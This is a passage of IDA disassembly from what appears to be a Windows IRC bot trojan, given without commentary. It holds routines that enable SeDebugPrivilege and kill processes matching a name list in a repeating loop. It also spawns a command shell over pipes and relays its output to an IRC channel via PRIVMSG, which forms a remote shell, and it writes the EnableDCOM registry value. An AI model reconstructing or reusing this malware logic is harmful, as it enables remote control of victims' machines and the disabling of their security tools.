		jz	short loc_4194F2
		dec	eax
		jnz	short loc_419560
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194F2:				; CODE XREF: sub_41945F+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194FC:				; CODE XREF: sub_41945F+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_419503:				; CODE XREF: sub_41945F+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_41950A:				; CODE XREF: sub_41945F+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_419511:				; CODE XREF: sub_41945F+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_41954A
		jz	short loc_419543
		sub	eax, 8ADh
		jz	short loc_419575
		dec	eax
		dec	eax
		jz	short loc_41953C
		dec	eax
		jz	short loc_419535
		dec	eax
		dec	eax
		jnz	short loc_419560
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_419535:				; CODE XREF: sub_41945F+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_41953C:				; CODE XREF: sub_41945F+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_419543:				; CODE XREF: sub_41945F+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_41954A:				; CODE XREF: sub_41945F+B9j
		sub	eax, 8CAh
		jz	short loc_41957C
		sub	eax, 17h
		jz	short loc_419575
		sub	eax, 25h
		jz	short loc_41956E
		sub	eax, 29h
		jz	short loc_419567


loc_419560:				; CODE XREF: sub_41945F+35j
					; sub_41945F+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_419567:				; CODE XREF: sub_41945F+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_41956E:				; CODE XREF: sub_41945F+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_419575:				; CODE XREF: sub_41945F+C2j
					; sub_41945F+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_41957C:				; CODE XREF: sub_41945F+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_419581:				; CODE XREF: sub_41945F+40j
					; sub_41945F+4Aj ...
		push	offset dword_4DB250
		call	sub_41B886
		pop	ecx
		mov	eax, offset dword_4DB250
		pop	ecx
		retn
sub_41945F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419593	proc near		; CODE XREF: sub_401ACD+4781p

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41D834
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		call	dword_4270C0	; GetComputerNameA
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_41D834
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41D817
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_4CB644
		test	eax, eax
		jnz	short loc_419623
		mov	esi, offset dword_4DB04C
		push	offset unk_439D5C
		push	esi
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_41964C
; ---------------------------------------------------------------------------


loc_419623:				; CODE XREF: sub_419593+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_41945F
		pop	ecx
		mov	esi, offset dword_4DB04C
		push	eax
		push	offset dword_439D30
		push	esi
		call	sub_41B886
		add	esp, 14h


loc_41964C:				; CODE XREF: sub_419593+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419593	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419651	proc near		; CODE XREF: sub_416F1A+45p
					; sub_416F1A+166p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	dword_4270F8	; GetCurrentProcess
		push	eax
		call	dword_4CB618	; OpenProcessToken
		test	eax, eax
		jnz	short loc_419670
		leave
		retn
; ---------------------------------------------------------------------------


loc_419670:				; CODE XREF: sub_419651+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_4CB5F0	; LookupPrivilegeValueA
		test	eax, eax
		jz	short loc_4196AE
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_419697
		or	[ebp+var_8], 2
		jmp	short loc_41969B
; ---------------------------------------------------------------------------


loc_419697:				; CODE XREF: sub_419651+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_41969B:				; CODE XREF: sub_419651+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_4CB6A0	; AdjustTokenPrivileges
		mov	esi, eax


loc_4196AE:				; CODE XREF: sub_419651+32j
		push	[ebp+var_4]
		call	dword_427068	; CloseHandle
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419651	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4196BC	proc near		; CODE XREF: sub_401ACD+7915p
					; sub_4198EB+74p ...

var_554		= byte ptr -554h
var_354		= dword	ptr -354h
var_350		= byte ptr -350h
var_234		= byte ptr -234h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_128		= dword	ptr -128h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 554h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_4CB654, ebx
		lea	edi, [ebp+var_12C]
		mov	[ebp+var_130], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_350]
		mov	[ebp+var_354], ebx
		rep stosd
		jz	loc_4198BB
		cmp	dword_4CB638, ebx
		jz	loc_4198BB
		cmp	dword_4CB548, ebx
		jz	loc_4198BB
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_4CB654	; CreateToolhelp32Snapshot
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_4198AE
		lea	eax, [ebp+var_130]
		mov	[ebp+var_130], 128h
		push	eax
		push	edi
		call	dword_4CB638	; Process32First
		mov	esi, dword_427068
		test	eax, eax
		jz	loc_4198A9
		lea	eax, [ebp+var_130]
		push	eax
		push	edi
		call	dword_4CB548	; Process32Next
		test	eax, eax
		jz	loc_4198A9
		mov	edi, dword_427084
		mov	ebx, 1F0FFFh


loc_419780:				; CODE XREF: sub_4196BC+1E5j
		xor	eax, eax
		cmp	[ebp+arg_10], eax
		jz	short loc_4197E7
		mov	[ebp+var_4], offset off_439D88


loc_41978E:				; CODE XREF: sub_4196BC+F3j
		mov	eax, [ebp+var_4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_10C]
		push	eax
		call	dword_427184	; lstrcmpi
		test	eax, eax
		jz	short loc_4197B6
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], offset dword_439DE8
		jb	short loc_41978E
		jmp	loc_41988F
; ---------------------------------------------------------------------------


loc_4197B6:				; CODE XREF: sub_4196BC+E6j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi	; OpenProcess
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	loc_41988F
		push	0
		push	eax
		call	dword_4270F0	; TerminateProcess
		test	eax, eax
		jnz	loc_41988F


loc_4197DD:				; CODE XREF: sub_4196BC+1B9j
		push	[ebp+var_4]
		call	esi	; CloseHandle
		jmp	loc_41988F
; ---------------------------------------------------------------------------


loc_4197E7:				; CODE XREF: sub_4196BC+C9j
		cmp	[ebp+arg_C], eax
		jnz	loc_41987A
		cmp	[ebp+arg_4], eax
		jz	loc_41988F
		push	[ebp+var_128]
		push	8
		call	dword_4CB654	; CreateToolhelp32Snapshot
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_4], eax
		mov	[ebp+var_354], 224h
		jz	short loc_41983A
		lea	ecx, [ebp+var_354]
		push	ecx
		push	eax
		call	dword_4CB4F4	; Module32First
		push	[ebp+var_128]
		test	eax, eax
		jz	short loc_419840
		lea	eax, [ebp+var_234]
		jmp	short loc_419846
; ---------------------------------------------------------------------------


loc_41983A:				; CODE XREF: sub_4196BC+15Cj
		push	[ebp+var_128]


loc_419840:				; CODE XREF: sub_4196BC+174j
		lea	eax, [ebp+var_10C]


loc_419846:				; CODE XREF: sub_4196BC+17Cj
		push	eax
		lea	eax, [ebp+var_554]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_554]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4197DD
; ---------------------------------------------------------------------------


loc_41987A:				; CODE XREF: sub_4196BC+12Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4198C2


loc_41988F:				; CODE XREF: sub_4196BC+F5j
					; sub_4196BC+10Aj ...
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_8]
		call	dword_4CB548	; Process32Next
		test	eax, eax
		jnz	loc_419780
		xor	ebx, ebx


loc_4198A9:				; CODE XREF: sub_4196BC+9Dj
					; sub_4196BC+B3j
		push	[ebp+var_8]
		call	esi	; CloseHandle


loc_4198AE:				; CODE XREF: sub_4196BC+77j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx


loc_4198BB:				; CODE XREF: sub_4196BC+3Aj
					; sub_4196BC+46j ...
		xor	eax, eax


loc_4198BD:				; CODE XREF: sub_4196BC+22Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4198C2:				; CODE XREF: sub_4196BC+1D1j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi	; OpenProcess
		push	[ebp+var_8]
		mov	edi, eax
		call	esi	; CloseHandle
		push	0
		push	edi
		call	dword_4270F0	; TerminateProcess
		test	eax, eax
		jnz	short loc_4198E6
		push	edi
		call	esi	; CloseHandle
		jmp	short loc_4198BB
; ---------------------------------------------------------------------------


loc_4198E6:				; CODE XREF: sub_4196BC+223j
		push	1
		pop	eax
		jmp	short loc_4198BD
sub_4196BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4198EB	proc near		; DATA XREF: sub_401ACD+26CDo

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_439F88
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41B886
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_41994A
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409A72
		add	esp, 14h


loc_41994A:				; CODE XREF: sub_4198EB+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_4196BC
		add	esp, 18h
		test	eax, eax
		jnz	short loc_419972
		push	offset unk_439F64
		jmp	short loc_419977
; ---------------------------------------------------------------------------


loc_419972:				; CODE XREF: sub_4198EB+7Ej
		push	offset unk_439F40


loc_419977:				; CODE XREF: sub_4198EB+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41B886
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_4199AA
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409A72
		add	esp, 14h


loc_4199AA:				; CODE XREF: sub_4198EB+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4151AC
		push	[ebp+var_14]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4270CC	; ExitThread
		pop	edi
		pop	esi
sub_4198EB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4199C9	proc near		; CODE XREF: sub_401ACD+78B3p
					; sub_40B231+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		call	dword_427084	; OpenProcess
		mov	esi, eax
		test	esi, esi
		jz	short loc_4199FB
		push	0
		push	esi
		call	dword_4270F0	; TerminateProcess
		test	eax, eax
		jnz	short loc_4199FB
		push	esi
		xor	edi, edi
		call	dword_427068	; CloseHandle


loc_4199FB:				; CODE XREF: sub_4199C9+1Aj
					; sub_4199C9+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4199C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_419A00	proc near		; DATA XREF: sub_401221+3CDo
		push	esi
		xor	esi, esi


loc_419A03:				; CODE XREF: sub_419A00+1Ej
		push	1
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_4196BC
		add	esp, 18h
		push	dword_439D84
		call	dword_427078	; Sleep
		jmp	short loc_419A03
sub_419A00	endp


; =============== S U B	R O U T	I N E =======================================



sub_419A20	proc near		; CODE XREF: sub_419A50+2Ap
					; sub_419A88+7Ep ...
		mov	eax, dword_4DB8B8
		push	esi
		mov	esi, dword_427068
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A34
		push	eax
		call	esi	; CloseHandle


loc_419A34:				; CODE XREF: sub_419A20+Fj
		mov	eax, dword_4DB8C0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A41
		push	eax
		call	esi	; CloseHandle


loc_419A41:				; CODE XREF: sub_419A20+1Cj
		mov	eax, dword_4DB8B4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A4E
		push	eax
		call	esi	; CloseHandle


loc_419A4E:				; CODE XREF: sub_419A20+29j
		pop	esi
		retn
sub_419A20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A50	proc near		; CODE XREF: sub_401ACD+7604p
					; sub_415C59+14Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_41AFE0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_4DB8BC
		call	dword_4270E0	; WriteFile
		test	eax, eax
		jnz	short loc_419A83
		call	sub_419A20
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_419A83:				; CODE XREF: sub_419A50+28j
		push	1
		pop	eax
		leave
		retn
sub_419A50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A88	proc near		; CODE XREF: sub_419B0F+D3p
					; sub_419B0F+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset byte_43D7E8
		push	[ebp+arg_4]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419ACB
		push	7D0h
		call	dword_427078	; Sleep
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_419AE2
; ---------------------------------------------------------------------------


loc_419ACB:				; CODE XREF: sub_419A88+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_4	; "%s"
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_419AE2:				; CODE XREF: sub_419A88+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB684	; send
		test	eax, eax
		jg	short loc_419B0B
		call	sub_419A20


loc_419B0B:				; CODE XREF: sub_419A88+7Cj
		xor	eax, eax
		leave
		retn
sub_419A88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419B0F	proc near		; DATA XREF: sub_419C64+170o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_4DB8C4


loc_419B27:				; CODE XREF: sub_419B0F+79j
					; sub_419B0F+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_4DB8B8
		call	dword_42718C	; PeekNamedPipe
		test	eax, eax
		jz	loc_419BF5
		cmp	[ebp+var_4], edi
		jnz	short loc_419B8A
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_4DB8B4
		call	dword_427188	; GetExitCodeProcess
		test	eax, eax
		jz	short loc_419B80
		cmp	[ebp+var_8], 103h
		jnz	loc_419C19


loc_419B80:				; CODE XREF: sub_419B0F+62j
		push	0Ah
		call	dword_427078	; Sleep
		jmp	short loc_419B27
; ---------------------------------------------------------------------------


loc_419B8A:				; CODE XREF: sub_419B0F+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_419BA1


loc_419B91:				; CODE XREF: sub_419B0F+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_419BEF
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_419B91


loc_419BA1:				; CODE XREF: sub_419B0F+80j
		mov	[ebp+var_4], esi


loc_419BA4:				; CODE XREF: sub_419B0F+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_4DB8B8
		call	dword_4270E8	; ReadFile
		test	eax, eax
		jz	short loc_419C41
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_4DB8F8
		call	sub_419A88
		add	esp, 0Ch
		jmp	loc_419B27
; ---------------------------------------------------------------------------


loc_419BEF:				; CODE XREF: sub_419B0F+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_419BA4
; ---------------------------------------------------------------------------


loc_419BF5:				; CODE XREF: sub_419B0F+45j
		push	offset unk_43A010
		push	ebx
		push	dword_4DB8F8
		call	sub_419A88
		push	[ebp+arg_0]
		call	sub_40B412
		add	esp, 10h
		push	1
		call	dword_4270CC	; ExitThread


loc_419C19:				; CODE XREF: sub_419B0F+6Bj
		call	sub_419A20
		push	offset unk_439FE8
		push	ebx
		push	dword_4DB8F8
		call	sub_419A88
		push	[ebp+arg_0]
		call	sub_40B412
		add	esp, 10h
		push	edi
		call	dword_4270CC	; ExitThread


loc_419C41:				; CODE XREF: sub_419B0F+C3j
		push	offset unk_439FB8
		push	ebx
		push	dword_4DB8F8
		call	sub_419A88
		push	[ebp+arg_0]
		call	sub_40B412
		add	esp, 10h
		push	edi
		call	dword_4270CC	; ExitThread
sub_419B0F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419C64	proc near		; CODE XREF: sub_401ACD+2507p
					; sub_415C59+99p

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_419A20
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset dword_433BD4
		push	esi
		call	dword_4CB6F0	; SearchPathA
		test	eax, eax
		jz	loc_419D5E
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, dword_4270FC
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi	; CreatePipe
		test	eax, eax
		jz	loc_419D5E
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi	; CreatePipe
		test	eax, eax
		jz	loc_419D5E
		mov	edi, dword_4270F8
		push	3
		push	esi
		push	esi
		push	offset dword_4DB8BC
		call	edi	; GetCurrentProcess
		push	eax
		push	[ebp+var_8]
		call	edi	; GetCurrentProcess
		push	eax
		call	dword_4270F4	; DuplicateHandle
		test	eax, eax
		jz	short loc_419D5E
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset byte_43D7E8
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		call	dword_42706C	; CreateProcessA
		test	eax, eax
		jnz	short loc_419D66


loc_419D5E:				; CODE XREF: sub_419C64+2Fj
					; sub_419C64+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_419E14
; ---------------------------------------------------------------------------


loc_419D66:				; CODE XREF: sub_419C64+F8j
		push	[ebp+var_4]
		mov	edi, dword_427068
		call	edi	; CloseHandle
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_4DB8B8, eax
		mov	eax, [ebp+var_8]
		mov	dword_4DB8C0, eax
		mov	eax, [ebp+var_2C]
		mov	dword_4DB8B4, eax
		call	edi	; CloseHandle
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_4DB8F8, eax
		jz	short loc_419DA0
		push	[ebp+arg_4]
		jmp	short loc_419DA1
; ---------------------------------------------------------------------------


loc_419DA0:				; CODE XREF: sub_419C64+135j
		push	ebx


loc_419DA1:				; CODE XREF: sub_419C64+13Aj
		push	offset dword_4DB8C4
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	esi
		push	0Ah
		push	offset unk_43A074
		call	sub_40B0F6
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_43E578[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_419B0F
		push	esi
		push	esi
		call	dword_42707C	; CreateThread
		cmp	eax, esi
		mov	dword_43E584[edi], eax
		jnz	short loc_419E12
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_378]
		push	offset unk_43A040
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_4151AC
		add	esp, 10h


loc_419E12:				; CODE XREF: sub_419C64+185j
		xor	eax, eax


loc_419E14:				; CODE XREF: sub_419C64+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419C64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E19	proc near		; DATA XREF: sub_401ACD+2E0Bo

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_419E60
		call	sub_419E79
		jmp	short loc_419E65
; ---------------------------------------------------------------------------


loc_419E60:				; CODE XREF: sub_419E19+3Ej
		call	sub_41A19D


loc_419E65:				; CODE XREF: sub_419E19+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_40B412
		pop	ecx
		push	0
		call	dword_4270CC	; ExitThread
sub_419E19	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E79	proc near		; CODE XREF: sub_419E19+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_4CB704, edi
		jnz	loc_419FAB
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CB6A4	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_419F04
		mov	ax, word_438DE8
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CB658	; RegSetValueExA
		test	eax, eax
		jz	short loc_419EE6
		push	offset dword_43A310
		jmp	short loc_419EEB
; ---------------------------------------------------------------------------


loc_419EE6:				; CODE XREF: sub_419E79+64j
		push	offset dword_43A2F0


loc_419EEB:				; CODE XREF: sub_419E79+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB610	; RegCloseKey
		jmp	short loc_419F17
; ---------------------------------------------------------------------------


loc_419F04:				; CODE XREF: sub_419E79+36j
		lea	eax, [ebp+var_214]
		push	offset dword_43A2C0
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_419F17:				; CODE XREF: sub_419E79+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_419F36
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
